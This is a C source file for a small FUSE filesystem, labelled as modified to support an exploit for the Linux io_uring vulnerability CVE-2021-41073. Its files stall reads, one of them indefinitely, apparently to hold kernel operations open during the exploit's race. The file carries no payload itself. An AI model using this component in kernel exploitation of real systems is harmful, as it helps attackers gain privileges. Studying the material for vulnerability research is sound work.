/*
  FUSE: Filesystem in Userspace
  Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>
  heavily modified by Jann Horn <jannh@google.com>

  Modified by chompie for:
  CVE-2021-41073: io_uring type confusion vulnerability

  gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
*/

#define FUSE_USE_VERSION 26

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/uio.h>
#include <assert.h>
#include <stdlib.h>

static const char* task_path = "/task";
static const char* seqop_path  = "/seqop";
static const char* iobuf_path  = "/iobuf";
static const char* bpfprog_path  = "/bpfprog";

int file_size;

static int hello_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    } else if (strcmp(path, task_path) == 0) {
        stbuf->st_mode = S_IFREG | 0666;
        stbuf->st_nlink = 1;
        stbuf->st_size = file_size;
        stbuf->st_blocks = 0;
    } 
    else if (strcmp(path, seqop_path) == 0) {
        stbuf->st_mode = S_IFREG | 0666;
        stbuf->st_nlink = 1;
        stbuf->st_size = file_size;
        stbuf->st_blocks = 0;
    }
    else if (strcmp(path, iobuf_path) == 0) {
        stbuf->st_mode = S_IFREG | 0666;
        stbuf->st_nlink = 1;
        stbuf->st_size = file_size;
        stbuf->st_blocks = 0;
    }
    else if (strcmp(path, bpfprog_path) == 0) {
        stbuf->st_mode = S_IFREG | 0666;
        stbuf->st_nlink = 1;
        stbuf->st_size = file_size;
        stbuf->st_blocks = 0;
    }
    else
        res = -ENOENT;
    return res;
}

static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);
    return 0;
}

static int hello_open(const char *path, struct fuse_file_info *fi) {
    return 0;
}

static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) 
{
    if(strcmp(path, bpfprog_path) == 0)
    {
        while(1)
        {
            sleep(100);
        }
    }

    for(int i = 0; i < 3; i++)
    {
        sleep(1);
    }

    return size; 
}


static struct fuse_operations hello_oper = {
    .getattr    = hello_getattr,
    .readdir    = hello_readdir,
    .open       = hello_open,
    .read       = hello_read
};

int main(int argc, char *argv[]) {
    file_size = 4096;
    return fuse_main(argc, argv, &hello_oper, NULL);
}
